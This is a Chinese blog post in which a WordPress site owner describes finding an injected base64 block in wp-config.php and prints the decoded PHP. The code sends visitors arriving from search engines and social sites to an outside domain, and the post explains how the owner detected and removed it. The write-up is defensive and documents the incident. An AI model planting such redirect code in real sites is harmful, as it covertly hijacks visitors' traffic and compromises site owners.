悲剧,hellocompiler第一次中招
March 1st, 2012
No comments
这段时间忙于杂事,今天来看了看,发现变成了别人的地盘……被人挂了一段恶意代码
用chrome打开网站提示有恶意软件,但是不能确定到底是什么页面中毒。使用下面的网站扫描:
http://sitecheck.sucuri.net/scanner/
得到的结果是确实中毒了,但是带毒的脚本 http://hellocompiler.com/404javascript.js 不存在。网上搜索了一下,从张刚的博客(http://www.zhanggang.net/y2012/40250.html)那里得到线索,查看了自己的 wp-config.php 文件,第一行被插入了一段代码,使用BASE64编码。解码得到以下代码:
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing")
or stristr($referer,"rambler")
or stristr($referer,"gogo")
or stristr($referer,"live.com")
or stristr($referer,"aport")
or stristr($referer,"nigma")
or stristr($referer,"webalta")
or stristr($referer,"begun.ru")
or stristr($referer,"stumbleupon.com")
or stristr($referer,"bit.ly")
or stristr($referer,"tinyurl.com")
or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer)
or preg_match ("/google\.(.*?)\/url/",$referer)
or stristr($referer,"myspace.com")
or stristr($referer,"facebook.com")
or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://namesti点bee点pl/");
exit();
}
}
}
}
删除之后网站扫描就正常了。
实力有限,目前还不知道是如何被植入恶意代码的。
另外,在写这篇日志的时候http://sitecheck.sucuri.net/scanner/报告又出现了恶意代码,震惊了。检查之后发现是因为这篇日志中出现了相关的网址,以及decode命令,虚惊一场。
Comments